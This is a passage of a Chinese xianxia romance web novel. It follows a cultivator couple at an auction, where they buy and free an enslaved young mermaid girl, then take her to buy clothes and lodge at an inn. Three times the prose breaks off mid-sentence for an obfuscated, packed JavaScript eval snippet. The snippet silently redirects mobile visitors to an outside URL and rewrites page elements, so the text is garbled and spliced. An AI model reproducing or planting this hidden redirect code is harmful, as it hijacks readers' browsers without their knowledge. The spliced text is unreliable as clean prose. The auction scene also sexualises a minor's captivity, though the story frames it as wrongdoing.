谢思量扫了他一眼，而姜揽月的面上却依旧笑意盈盈。她口中念诀，一道碧蓝的水箭飞快地沿着他的脸飞过。 那人瞳孔皱缩：“你、你在做什么？！” 再一眨眼，只见雪白的白玉廊上多了一缕乌黑的头发。 “什么，我的头发！”那人惊恐道，“你……” 姜揽月轻勾嘴角：“这位道友，你可千万不要输给一个凡人哦。” 谢思量看到此景，眼中滑过一丝笑意。 青衣男子也饶有兴致地在一旁看着。 那人见姜揽月是个不好惹的，自己不占理，而谢思量也面露不善，便闭了嘴，没多说什么便走了。 “仙君夫人刚刚那一招可真是帅气啊，对水箭的控制达到了出神入化的地步。”青衣男子鼓掌道，“在下乃凌云宗温言安，有幸能在此地偶遇仙君和仙君夫人。” “温道友谬赞。”姜揽月道。 谢思量则轻轻颔首，随后道：“揽月，我们先上去吧，快开始了。” “嗯。” 看着二人的愈来愈远的背影，温言安若有所思，既然谢思量都有道侣了，他现在只好奇他修的还是无情道吗？难道，他要杀妻证道？温言安被自己的想法吓了一跳，或许他的修为是不是降低了？ 温言安眼中露出笑意，真想知道谢思量现在的修为如何啊？不过，对于这种天才来说，就算现在换道重新修炼应该也很快吧。 没过多久，二人便被带到二楼的雅间中。雅间中布置了阵法，外面的人看不见她们，但她们却可以将外面看见的一清二楚。 雅间虽然不大，但是麻雀虽小五脏俱全，桌子，椅子，花瓶什么都有，甚至还准备着瓜果糕点。桌上有一个灵宝，如果有想要的宝物按下灵宝，然后再将价钱写到灵宝上便可，随后价钱会通过法阵显示在大厅中央。 但是，为什么雅间中会已经有了一个人？ 不，那不是人，确切地说应该是妖，他的头上是两个白色的毛茸茸的耳朵，身后还有一条长长的毛茸茸尾巴，眼睛是琥珀色与蓝色的鸳鸯瞳仁，一边像是太阳，燃烧着万千霞光，一边像是汪洋，流淌着碧蓝的海水，让人稍有不注意便会沉浸其中。 这应该是猫妖吧，为什么他们的房间会有猫妖？ 谢思量眼眸微动，轻轻瞥向姜揽月。 不想，他身边的女子看的眼睛都快瞪出来了：“请问这是……” 带他们上来的侍者愣了愣，旋即解释道：“他是这里的猫侍，会在拍卖期间为二位端茶倒水和讲解。” 猫侍少年向前一步，道：“二位贵客，若是有什么需要，尽管吩咐我便是。” 灵宝阁里居然还有这种服务，姜揽月看了一眼谢思量，不知该作何回答。见谢思量不说话，姜揽月于是道：“那多谢你了。” 猫侍少年：“都是奴该做的。” 他的声音如水，很是动听，姜揽月随意夸了一句：“你的声音真好听。” 猫侍少年道：“多谢仙君。” 谢思量淡淡地瞥了他一眼。 猫侍少年往姜揽月身边靠近了一步，他能感受到姜揽月身上散发的善意，以及谢思量的冷冰冰。 待姜揽月坐到座位上之后，猫侍少年端着果盘，轻轻跪在她的面前，漂亮的眼中半是无辜半是魅惑，楚楚可怜道：“仙君，我来喂你。” 谢思量双眼微咪。 “不不不用了。” 姜揽月猛地站起身来，差点打翻了对方手中的果盘。 猫侍微微有些惊讶，在这里有段时间了，几乎每一位宾客都很享受他的服侍，但这二位好像不是。原本他以为只有这位男宾客不喜欢，没想到这位女宾客也不喜欢。 姜揽月转头看向谢思量，只见他神色淡淡，应该也不需要猫侍来服侍。 “谢思量，你需要吗？” “依你。” “那……”姜揽月对猫妖少年道，“你先出去吧，我们都比较喜欢清净，不用你服侍了。” 虽然这位猫族少年长相清秀可人，看着她的时候仰起头的动作也十分梨花带雨，但是，同为妖族，她不能不担心，若是被对方发现自己是鲛人怎么办？若是在外面被人发现是鲛人，只会惹上一堆事端，她目前还不想暴露。 猫妖少年看了看姜揽月，又看了看另一边面无表情的谢思量，没有多言，当即离开了二人的房间。 少年走后，姜揽月松了一口气：“天哪，这也太热情了，过分热情只会吓人。” 谢思量喝了一口茶，道：“对你确实很热情。” “啊？你……”姜揽月听出了谢思量语气中的阴阳怪气，她打量了一眼谢思量，有些震惊，难道谢思量是一位隐藏的猫奴，因为猫猫没有服侍他而生气？可也没见他平时有多喜欢猫猫啊？ “难道你嫉妒刚刚那猫妖少年没有服侍你？我可问过你了，你自己说都依我的。你若是想撸猫的话，你自己去找那猫妖。不过你如果不好意思的话，我也可以帮你找。”毕竟是她让那猫妖出去的。 谢思量无言，他将桌上的茶点往姜揽月那边推了推：“……吃点茶点吧。” 谢思量话音刚落，姜揽月就剥开了一个橘子，狭小的空间内立马溢满了橘子的清香。 想来自己能在这吃吃喝喝还是谢思量的身份带来的，姜揽月道：“谢谢你啊，谢思量。” “谢什么？”谢思量道。 “谢你带我来啊，要不是你，我怎么可能会成为这里的贵宾。” “无事。” “那你吃橘子吗？我可以帮你剥。” “不用。” “行吧。” “对了，”姜揽月又剥开一个橘子，“你之前有没有来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159388|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过灵宝阁？。” 谢思量：“之前和掌门一起来过一次。 “然后呢？有没有猫妖来服侍？” “有。” “嗯？”姜揽月有些奇怪，“是掌门喜欢吗？” “对，掌门很喜欢。” “那你呢？” 谢思量想到了曾经来灵宝阁的场景，道：“那猫见到我便跑了，然后是长老把它抱进来的。” “哈哈哈哈哈！”姜揽月听完哈哈大笑，没想到谢思量这么不受小动物欢迎，不过也对，他这样整天板着张脸，杀气还重，他的剑下不知死了多少妖物，妖见到他不跑才怪，“那今日这只猫猫还挺厉害的，至少没有见到你就跑。” “应该是喜欢你吧。”谢思量垂下眼睫，“所以才没有在第一眼见到我的时候就离开了。” “喜欢我？对于他们来说只是工作啊。”姜揽月道，“我俩都没让他进来，对他来说算是放假了。” 谢思量闻言，轻轻勾了勾嘴角。 待姜揽月吃完最后一个橘子后，拍卖会终于开始了。 拍卖师是一位长相妩媚的人族女修，她穿着朱红色的留仙裙，挽着飞天髻，声音悦耳：“欢迎诸位贵客，我是这次拍卖会的主导人水璇，由我来为诸位介绍每位拍品，希望大家都能在此找到心仪的宝贝……” “第一个竞拍品，来自魔域的淬炼石……” “第二个竞拍品，来自桃花岛的灵狐圣丝……” …… 姜揽月是第一次参加拍卖会，兴致盎然，一直目不转睛地盯着台上。大概过了半个时辰后，她便觉得有些无聊了，拍卖品几乎都是一些灵草灵药，或是功法秘籍。 她小声嘀咕：“能不能出现一个绝世珍品，让我见见世面。” 谢思量忍俊不禁：“哪来那么多绝世珍品？” 姜揽月：“我说着玩的。” “若是很稀有的宝贝，很少有人会拿来拍卖。” “说的也是，都自己留着了。” 忽地谢思量又道：“你若是看上什么，直接拍下便可。” 姜揽月抬眼望他。 “玉霄殿不差这点钱。”他道。 “好。”姜揽月的眼睛亮晶晶的。 又过了一刻钟，就在姜揽月快要睡着的时候，她终于听到了百草露。 “下一个竞拍品，来自天山的百草露。百草露乃很稀有的药材，需得在每年的立春、立夏、立秋、立冬的早晨采集天上植物上的露水，这是十年得来的一罐露水，可以用作制作多种天阶丹药的原料，甚至可以改善灵脉的强度。起拍价：七万灵石。” 话音刚落，姜揽月便按下灵宝，在上写到“8”，灵阵上便立即显示出“八万”。 随即，灵阵上又显示出“九万。” “十万。” “十一万。” “十一万五千。” “十一万六千。” “十二万。” …… 见有不少人都想要百草露，姜揽月直接道：“十五万。” “二楼五号室的贵宾出价十五万灵石，还有要加价的吗？”水璇道，全场静默，“既然没有加价的，那让我们恭喜二楼五号室的贵宾。” 片刻后，一位侍者便端着百草露上来了。 “仙君，您的百草露。如果有什么事情的话，可以吩咐我。” “好，多谢。”姜揽月道。 她收下这瓶百草露，心中好像炸开了花。好了，现在她需要的草药基本上全部集齐了。自己的血脉反噬终于能治好了，苦日子总算是熬到了头，姜揽月很开心，接下来的时间一直在想象自己没有血脉反噬的美好生活。 “现在就只需水心莲了。” “嗯。”姜揽月道，不过，她忽然想到一个问题，“水心莲开了吗？” 作为一株耗费昆仑数年浇灌的神草，她知道水心莲不是那么容易就开花的。 “听薛满说开出了花苞。”谢思量道，“水心莲就生长在云雪峰，你可以回去看看。” “好！”姜揽月道。 拍卖会越到后面就越是激烈，各种武器和法宝都被拍出了高价，姜揽月也拍下了几个防身法宝。 姜揽月：“好久了，应该快结束了吧。” 谢思量：“嗯，马上是最后一个拍品了。” 他话音刚落，台上的水璇便轻启红唇，双眼透露出兴奋：“最后一件拍品，也是这次的压轴拍品——来自南海的鲛人。” 37. 百草露（三） 鲛人？ 姜揽月正在剥荔枝的动作一滞，她看向看台，只见几位仆从抬上来一个被红布遮住的物体。待他们站稳之后，侍从将红布掀开，一个极为精致漂亮的笼子显露了出来。 姜揽月瞳孔皱缩。 同时人群中也响起一阵惊呼。 这是一个巨大的金丝笼，每一根金丝都有小指粗细，在灯光下泛着冰冷的光泽。不过，无论这个笼子有多么精致，都不及笼中少女的万分之一。 她生得极白，眉如远山含黛，鼻若琼玉雕琢，唇色红如樱桃。不过最引人注目的还是她的眼睛，眼尾微微上挑，漆黑的眼珠黑白分明，当真是倾城绝代。她穿着一件单薄的纱衣，纱衣下是浅蓝色的鱼尾，像是阳光下的海水微微荡漾，却又流光溢彩。 可是她纤细的手腕被粗重的镣铐锁住，仿佛被囚禁的金丝雀。 红布被掀开的瞬间，她微微抬起头，强光刺地她眯起眼睛，尽管看不清，但是她却能感受到一道又一道贪婪可怖的目光落到了她的身上。少女下意识地蜷缩起身子，躲到了笼子的角落处。随着她的动作，铁链发出了清脆的碰撞声，大厅中的人却好似更加兴奋起来。 “我们都知道，鲛人的眼泪可化作珍珠，歌声可以魅惑人心。但实际上，鲛人的功效还不仅如此——鲛人的肉可长生不老，鲛人的皮可用来制香。若是想的话，鲛人用作炉鼎也是极好的。无论哪一项，对于我们的修炼都是大有益处。” 水璇话音刚落，台下的大厅便更加沸腾。 知道自己即将的命运，笼中的鲛人少女忍不住低声抽泣，一颗颗玉白的珍珠沿着她的脸颊滚下，又落到了笼中，聚集在她的鲛尾下。这让底下的看客更加兴奋，人群中响起阵阵惊呼声，仿佛要将屋顶掀开。 姜揽月的手指却微微颤抖，面前的场景像是一把锋利的剑，狠狠刺入了她的胸口。她看着前方奄奄一息的少女，那个孩子看起来还不过十四五岁，竟就要被囚禁在笼子中供人取乐。 她的胸口剧烈起伏，仿佛有一团火焰在燃烧。 随后，她深吸一口气，别开眼，强迫自己冷静下来。此刻，她也明白了为什么原作中的姜揽月会用鲛珠救下谢思量成为摇光夫人了。在这个弱肉强食的修真界，若是自身实力不够，便只能遭受这个下场。而上辈子，因摇光夫人这个名号，再加上她几乎整日都在昆仑宗中，除了谢思量没有人知道她的真实身份，所以自然不知道这些腌臜事情。 她瞥了一眼谢思量，一瞬间百感交集。 谢思量注意到姜揽月的神色变化，他想知道他应该知道姜揽月为何这样，随后他又看了看笼中的鲛人。 这时候台上的水璇又道：“起拍价：五百万灵石。” 人群中发出一阵唏嘘。 这样高的价格，普通修仙者是万万出不起的，但竞价的声音却没有丝毫减少，反而较之前更加激烈，喊价者几乎全是二楼的贵宾。 “五百三十万。” “五百四十万。” “六百万。” “六百四十万。” 水璇的眼角眉梢全是笑意：“二楼十五号贵宾出价六百八十万，还有更高的吗？” “十三号贵宾出价七百万，还有哪位贵宾想要竞价吗？” 姜揽月：“他们怎么随身带那么多灵石？” “不用随身也可以。”谢思量道，“可以担保。” “？可以吗？”姜揽月有一丝惊讶，“那我……” 不想，下一刻谢思量竟直接按下了灵宝，旋即中心的灵阵上显示一千万。 “二楼五号贵宾室出价一千万，看来是很喜欢我们的鲛人呢，还有更高的吗？” 姜揽月双眸睁大：“谢思量……” “你想救她吧。”谢思量抬眸望向她。 “嗯。”姜揽月点头，语气坚定，“毕竟是同族，我不想看到她被那样对待，我想救她。” “那就拍下吧。” “这些灵石，我也会想办法出一部分的。”姜揽月道，她知道若是真想拍下来的话价格不会低于一千万。 谢思量发出一声轻笑：“好。” “一号贵宾室出价一千零五十万，还有更高的吗？” “一千一百万。” “一千二百万。” “一千二百五十万。” “一千三百万。” “一千三百五十万。” “一千三百八十万。” 当价格到了一千五百万后，全场只有姜揽月和一号贵宾室在出价了，两方都十万十万的往上加。 姜揽月正想继续出价，蓦地，却听一道浑厚的声音响起：“三号房的道友，在下乃轩辕宫的御山真人，若是不嫌弃的话，可否将这位鲛人让给在下？” 话音刚落，台下又响起一阵惊呼声。 “谢思量，你知道他是谁吗？”姜揽月盯着大厅中央的显示阵，这人竟然亮出了自己的身份，想以身份来震慑她。不过可惜了，她没听过。不过就算是听说过，她也会把这位鲛人女孩救下来的。 谢思量声音淡淡：“不知道，不用管他，继续。” 他的座位在姜揽月稍稍靠后的位置，正好能够看到姜揽月的眼睛。姜揽月的眼睛此时满是坚定，既不像星星也不像月亮，却像是太阳，有着不可动摇的决心，在她的眼中熊熊燃烧，照亮了眼底的每一片阴影。 不过，这样灼灼的眼神，却是看向那女孩的。 * 被一号与三号房间夹在中间的二号房间，此时正坐着温祈安与一位穿着黑衣的青年。 温祈安手上还拿着那把山水扇，指着两边的房间，道：“没想到这旁边的一号里居然是御山真人，一号和三号房间好像杠起来了。” 一旁的青年手中抛着橘子：“这是哪位真人？” “是轩辕宫化神期的大能。” 青年眯起眼睛：“化神期，怪不得这么狂妄。” “不知道三号房会不会继续竞价。”温祈安展开手中的扇子，“不过，我刚进来的时候看到今晚这场的化神期大能有好几个，不知道三号房间会不会给御山真人这个面子呢。” 话音未落，便见三号的灵阵又亮出一个数字——“两千万！” “什么？两千万？！”温祈安不可思议，从椅子上直起身来，“到底是哪位大能？！” 黑衣青年也睁大了眼，感慨了一句：“真有钱啊。” 再看台上，不仅他们，甚至连水璇也有一点震惊，她的声音中有一丝不可察觉的颤抖：“三号贵客出价，两千万灵石！” 台下众人哗然，不知三号房间是何方神圣。 就连最顶级的门派或是世家也要给化神期修士几分面子，没想到这个三号居然这么不知趣，竟然继续加价，而且还是如此之高的价格。 这也是御山真人没想到的，他皮笑肉不笑地道了句：“三号道友真是富可敌国。” “让我们恭贺三号房的贵宾，用两千万的灵石拍下了我们的压轴品。” 而笼中的少女，听着一道又一道的价格和人们的惊呼声，她的眼神逐渐变得麻木。但是，她鱼尾下，早已经堆积了许许多多的珍珠。听到最后的价格后，她白净的脸上又滑下一颗泪滴。 * 一刻钟后，几位侍从便将巨大的金丝笼抬到了他们的房间，这让原本就小的房间因此显得更小。 “你们可以出去了。”谢思量声音冷淡。 “是。”侍从道。 笼中的少女一直在抖，她脸上原本的泪痕已经被擦去，自从进来后，房间内便一直响着细细密密地锁链声。她看着面前的谢思量和姜揽月，大大的眼睛中满是恐惧与戒备。 姜揽月口中念诀，一道白光闪过。 “啪嗒。” 少女手臂上的锁链应声而断。 女孩有些懵。 姜揽月蹲下身子，与面前的少女平齐，道：“妹妹，你叫什么啊？可以先出来吗？” 女孩低着头，没有说话，只是用刚刚被解放出的手撑着地，又往角落处缩了一点。 姜揽月于是把声音放得更加温柔：“你可以化出腿吗？会走路吗？” 女孩依旧没有反应。 见女孩还是不说话，姜揽月便直接走入笼中。女孩的身子瑟缩地更加厉害，她的瞳孔微微颤动，不知接下来会发生什么。 谁知，姜揽月只是脱下了自己身上的斗篷，再为她轻轻披上。少女本就身材娇小，斗篷将她全身都裹住，遮住了原来的衣不蔽体。毛茸茸的，很暖和，她用手将斗篷紧紧裹住。 女孩漂亮的眼睛中浮现了些许疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177336|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑，她微微抬眸，小心翼翼地看着姜揽月，不知道她究竟想做什么。 谢思量站在一旁，静静地看着二人，没有上前打扰。 姜揽月压低声音，凑到小女孩耳边说：“其实姐姐也是鲛人，所以才救下你。” 说着，姜揽月握住了面前女孩的手，只见她纤细的手腕处显现出一圈浅浅的蓝色鳞片。 女孩瞳孔皱缩，她眼中的恐惧瞬间被震惊替代。 姜揽月将她斗篷前面的带子系好：“好了，现在真的相信姐姐是来救你的了吧，可以告诉姐姐你叫什么了吗？” 女孩怯怯道：“我叫师萝樱。” “师萝樱，真是好听的名字。”姜揽月道，“好的，萝樱妹妹，我叫姜揽月，现在让我们一起走吧。你现在可以走路吗？如果不可以的话，就让姐姐抱着你。” 听着身边女子的温声细语，谢思量垂下眼睫，眼底浮现一丝沉郁。 “我会走路的，我可以自己走路。”师萝樱小声道，随后，她的鱼尾化成了一双腿。 姜揽月便从笼子中走出，留给师萝樱走路的空间。师萝樱扶住一根金丝，颤颤巍巍地站了起来。 见女孩这幅样子，姜揽月便知道，这是她体力虚弱，又很久没有走路导致的。 于是，她直接将师萝樱抱起。 师萝樱的声音中有一丝惊恐：“姐姐——” “别怕，姐姐先抱着你回去，姐姐力气大着呢。” 闻着姜揽月发间淡淡的香气，师萝樱忽地有了一丝心安，她伸出胳膊，搂住了姜揽月的脖颈。 谢思量看见二人这般举动，并未多言，目光却落到了桌上剩下的几颗荔枝上。 “你饿了吗？姐姐现在带你出去吃东西。”姜揽月道。 “这里还剩下点吃食，让师姑娘先垫垫肚子吧。”谢思量将那几颗荔枝拿起。 “也是。”姜揽月道。 她带着师萝樱又重新坐到榻上。 “萝樱，张嘴，来吃。”姜揽月将剥好的荔枝送入了师萝樱口中。 师萝樱听话的张开嘴，她吃完后，道：“姐姐，不用给我剥了，我自己剥就好。” 随后，她便剥开一颗荔枝，道：“姐姐，给你的。” “谢谢萝樱妹妹！”姜揽月道。 将姜揽月的荔枝剥好后，师萝樱又剥开一颗荔枝，对谢思量道：“……哥哥，这是为你剥的。” 谢思量淡淡地看了她一眼，嗓音轻柔：“多谢师姑娘，不过你为你身边的姐姐剥就好了。” 在人间流落多年的经历让师萝樱对危险非常敏感，他的眼睛透亮，像是澄净的琥珀，却是冷冰冰的，没有一丝感情，看向她的时候带着审视的意味，师萝樱知道这个人要远离。 “哦，好。” 师萝樱转头将荔枝给了姜揽月。 姜揽月知道谢思量有洁癖，道：“谢思量，那我给你剥吧。” 桌上原来的吃食几乎被她吃完了，谢思量一点没吃，而且这两千万的灵石也全都是谢思量出的，姜揽月觉得自己也得照顾一下谢思量。 她又剥开一颗荔枝，雪白的果肉露出：“谢思量，吃吗？这里荔枝可新鲜了，特别甜。” 还未等谢思量回答，她便直接凑过去，谢思量无奈张开嘴，姜揽月顺势将荔枝送了进去。 “怎么样？” “还可以。” 姜揽月默默记着，谢思量的“还可以”就是挺喜欢的意思。 师萝樱垂下眼睫，她敏锐地察觉到姜揽月和这位白衣青年关系不一般。 姜揽月解释道：“这位哥哥是姐姐的……“ 她顿了一秒：”姐姐的夫君，刚刚那些灵石都是他的，是他和姐姐一起把你救出来的。你不用害怕，他是很好的人。” 姐姐的夫君？ 和姐姐对应的称呼是姐夫。 于是，师萝樱立马对谢思量道：“姐夫好。” 就在这一瞬间，她好像看到面前青年原本冷冰冰的眼中滑过一丝笑意，好似冰川融化，师萝樱眨了眨眼，怀疑自己看错了。 姐夫？ 姜揽月觉得这个称呼有些奇怪，于是道：“不用喊姐夫，喊仙君。” 师萝樱又改口：“仙君。” 谢思量抬眸：“都可以，依你们。” 38. 百草露（四） “萝樱，你饿吗？”姜揽月问道，同作为鲛人，她知道自己族人的胃口，光几颗荔枝根本填不饱肚子。 “不怎么饿，那里的人给了我很多吃的。”师萝樱的声音很细。 “哦，也是，他们肯定会给你吃的。”姜揽月恍然大悟，灵宝阁的人想靠师萝樱拍卖一个好价钱，自然不会让她饿着。 “那我们现在去成衣铺，看看衣服怎么样？”师萝樱如今的衣服太露骨了，显然不合适，而姜揽月的斗篷披在师萝樱身上比她大了一圈，也不合适。 “好。”师萝樱乖巧点头。 “走吧，那我们一起去吗？”姜揽月向身边的青年征求意见。 “嗯。”谢思量道。 几人就近来到了一家成衣铺，这里离灵宝阁不远，是一家非常大的成衣铺，各种衣物令人眼花缭乱。 铺子里的老板风姿绰约，她穿着一件墨蓝色的流仙裙，梳着倾髻，头戴六根金簪，更显贵气逼人。 最近因为拍卖会的缘故，中州修士多了不少，其中不乏修仙界的一些大人物。老板一眼就认出了面前的青年是几年前在青云盛会上惊艳众人的谢思量，当时她有幸进入了内场。不过，谢思量怎会和两位女子一起来？ 在传言中，这位仙君做事一向是独来独往，不沾红尘。不过前一段时间倒是也有摇光仙君和一位凡间女子结为道侣的传言，难道，那个传言是真的？他的道侣是这两位女子中的一位？ 她走上前：“三位仙君，有什么需要的吗？” “我们自己先看看就好。”不管在哪个世界，姜揽月都怕被问这句话，她只想自己一个人静静地选。 “不过，你帮这位妹妹看看吧。”姜揽月道，“萝樱，你自己也选选，喜欢就买。” 师萝樱点点头。 “这位妹妹生得可真是雪肤玉姿，娇俏可人啊。”老板拿出一件鹅黄色的襦裙道，“妹妹，这件襦裙怎么样？我带你去试试如何？” “嗯，试试吧。”师萝樱点点头。 “好嘞，小妹妹跟我一起来。” 见师萝樱去了里间，姜揽月便自己逛起来了。 谢思量站在姜揽月身边，看着姜揽月仔仔细细地为师萝樱挑衣服，他的眼中浮现些许沉郁。 “谢思量，这里居然有男子的衣服！”姜揽月有些惊讶，不愧是大店铺，什么衣服都有。 “嗯。”谢思量淡声应道。 姜揽月上下打量着谢思量，他平日里都只穿白色的衣服，几乎与他融为一体，恰如山巅雪、高天月，符合他清清冷冷的气质。不过，这样好看的一张脸，应该不管穿什么颜色都好看吧。 “谢思量，你想不想换衣服？” “换衣服？” “对，这里有男子的衣服，你平日一直都穿着白衣，不想换一换吗？” 原来是说这件事情，谢思量几乎从来没有想过穿什么颜色的衣服这种问题。他笑笑，反问道：“你想要我穿什么颜色？” 姜揽月微怔：“……我想？” 明明是谢思量的衣服，怎么是她想？ 好吧，确实是她，谢思量看不见，就算能看见也不会在意，他上辈子也是一直穿着白衣，从不在乎这些身外之物。 姜揽月拿起一件殷红暗花云纹长衫，谢思量平日一直都白衣飘飘，若是穿这种红衣，不知会不会有别样的感觉。她道：“试试红色怎么样？你这般长相，肯定不管什么颜色都好看。” 谢思量嘴角微扬：“好，那就这件。” “公子生得这般玉树临风，一定适合。”店小二道，“公子，随我去里间吧。” 谢思量离开不久后，师萝樱便出来了。 她身形娇小，穿着嫩黄色的襦裙，清新淡雅，像是春日盛开的金银花。 “好看！”姜揽月眼前一亮，问道，“萝樱，你觉得怎么样？” “我也很喜欢。”师萝樱看着镜中的自己，与几日前的她截然不同，鹅黄色的裙子穿在身上，好像获得了新生，这是几个时辰前她想也不敢想的。少女眼眶微红，偷偷用手抹了抹眼角的泪。 “好，那就这件了。”姜揽月道，“如果有喜欢的话，就去试一试。对了，再拿件斗篷吧，现在正是冬日，而且昆仑也挺冷的，你拿几件保暖的衣物。” 她的身体能在云雪峰丝毫感觉不到冷，但是师萝樱刚刚从灵宝阁被救出来，身子虚弱，不一定能直接适应，还是保暖些比较好。 老板听到了姜揽月的话，故作惊讶道：“三位都是昆仑仙宗的道友？” “嗯。”姜揽月肯定道。 “刚刚进去那位是昆仑的摇光仙君吗？”老板直接问道。 谢思量在修仙界很有名，只要是修仙人士，几乎人人都知道昆仑宗有一位十五岁夺得青云魁首，十八岁破镜入化神的天才，所以也没有隐瞒的必要，而且说出去还能给一些有不良居心的人带来威慑力。 于是，姜揽月便道：“对，是摇光仙君。” 老板笑道：“竟然真的是仙君，三年前曾在青云盛会中有幸见过一次，未想到如今居然又能碰到。” 姜揽月不知该说什么，于是便道：“好巧啊。” 恰好这时，她的视线中多出了一抹红，谢思量出来了！ 只见青年穿着红色的长衫，黑色的腰带勾勒出劲痩的腰，这火红的颜色竟衬得他的面容更加昳丽，好似带着一丝欲，完全不同于以往的清冷，像是一团燃烧的火，美得惊心动魄。 姜揽月的视线缓缓上移，最后定格在了他的脸上，琉璃般清澈的瞳孔，流畅又锋利的唇。唇形这般漂亮，若是涂上口脂会更加艳吧。 姜揽月愣了一瞬，幸好谢思量如今看不见，若是上辈子，她可不敢这样肆无忌惮地打量他。 视线又滑到了他的唇上，不知怎地，她竟然想起上次从台山回来时二人的“乌龙之吻”。 就在她愣神之际，谢思量竟在此时笑了，眼尾好像春日桃花盛开。 他嘴角轻勾，声音微哑：“如何？” 姜揽月实话实说：“非常好看，简直是沉鱼落雁闭月羞花倾国倾城。”她一向不会吝啬于赞美。 谢思量闻言又笑笑。 一旁的店小二道：“公子真是貌若檀郎，我来这里这么久，还没见过这么漂亮的公子。” 老板道：“仙君真是惊艳绝伦，红色真是太适合这位公子了。” 师萝樱也道：“姐夫，穿这件衣服很好看。” “好，那就这些了。老板，这两件都要了。”姜揽月道，“谢思量，这次我来付钱，我买给你。” “好。” 上次和谢思量一起去台山，姜揽月采了很多草药，回来后卖了一些钱。她决定用这些钱来给师萝樱和谢思量买衣服，也不能总是蹭谢思量的钱。 “萝樱，试试这件白粉色的斗篷，这个兔子耳朵毛茸茸的，好可爱啊。”姜揽月道。 “这件兔斗篷确实很适合这位小妹妹。” 见姜揽月的注意力又到了师萝樱身上，谢思量垂下睫，伸出玉白的指尖，在嘴唇上轻轻摩挲，刚刚姜揽月一直盯着他的唇。 又给师萝樱买了一件斗篷后，几人便离开了铺子，找了一家客栈。 小二看到三人，便问道：“三位客官需要几间客房啊？” 姜揽月看看师萝樱，又看看谢思量，不知道他们二人会不会介意对方？她正欲开口，便听师萝樱的声音响起：“姐姐和姐夫一起吧，我一个人就可以。” 姜揽月不知她竟会这样说，有些担心：“你一个人可以吗？” “当然可以，姐姐和仙君就在旁边，我还担心什么呢。”师萝樱乖巧道。 “那好吧。”姜揽月决定尊重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196417|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师萝樱的意见。 二人来到房间后，姜揽月先洗漱了一番，洗漱之后她还是有些担心，道：“谢思量，你说，要是有图谋不轨者去找萝樱怎么办？” 谢思量道：“有我在呢，不用担心。” 姜揽月：“希望吧。” 她把今日在灵宝阁拍卖下的物品摆在了桌子上，开始一一清点，其中百草露是她宝贝中的宝贝。将这些物品再收好之后，她忽然觉得手中的这个玉晶石镯子不错，细腻通透，纹理行云流水，送给师萝樱吧。 姜揽月拿着手镯起身。 谢思量刚刚沐浴完，便看到她走向门口：“你去哪儿？” “我想把这个镯子送给萝樱，感觉很适合。”姜揽月回道。 谢思量抬眼：“现在去的话，师姑娘应该睡了，她已经劳累许久了。” “哦，也是。”姜揽月道，与他们不同，师萝樱应该很久都没有休息好了。 “那就明日再给她吧。”姜揽月又将镯子放回桌上。 收拾完物品之后，她脱下外衫，像昨夜一样滚到了被褥中。 不想，随后她竟听到了谢思量轻柔的声音，像是诱哄：“今夜，我可以休息吗？” 他穿着今日买的红色长衫，乌黑的墨发倾泻在肩头，头上的簪子是她之前为他买的。烛火橘黄，室内半明半暗，竟为他添了一丝昳丽。 姜揽月呆滞了一瞬，随后立马道：“当然可以啊。” 难道她还能说不吗？而且，谢思量一个修无情道的，都不在意和她睡一张床，她还需要在意吗？再者，两人也不是第一次在一起休息了。 想清楚后，姜揽月道：“我俩一起的房间，自然就是我们共有的。”她往床榻里面挪了挪，给谢思量让出了空间，“你上来吧。” 还好这张床够大，容纳两个人绰绰有余。 谢思量没想到她说地这么平静，姜揽月之前说心悦他，现在应该也还是心悦的吧。 他解开腰带，脱下了红色的外衫，露出了白色的里衣，整个人又恢复了平日中清冷的模样。烛火慢慢燃烧，在他纤长的睫毛上渡上了一层金色。 姜揽月整个人都包在被子里，只露出一双眼睛，一眨都不眨地望着谢思量。 当青年拉起被子上床榻之时，她才意识到自己居然在看谢思量脱衣服。 她眨了眨眼，继续看。 直到那张精雕玉琢的脸距离自己只有一寸远的时候，她的脸才腾地一下变红了。 姜揽月转过头：“提前和你说，我晚上睡觉可能有些不老实，如果碰到你，你可不要怪我。” 谢思量不知道姜揽月为什么忽然把脸转过去了，只道了一声：“嗯。” 虽然这个床足够大，但是多了一个人一起与自身一个人还是有很大的不同。青年就躺在她的身边，距离她不过咫尺之远，姜揽月感到自己的心跳正在加速，心脏里好似有蝴蝶在跳舞。 糟糕，谢思量听觉那么敏锐，他不会能听到自己的心跳吧？姜揽月连忙把手放在自己的胸口，扑通扑通，跳的可真快啊，夜里这么安静，他不会真的能听到吧？ 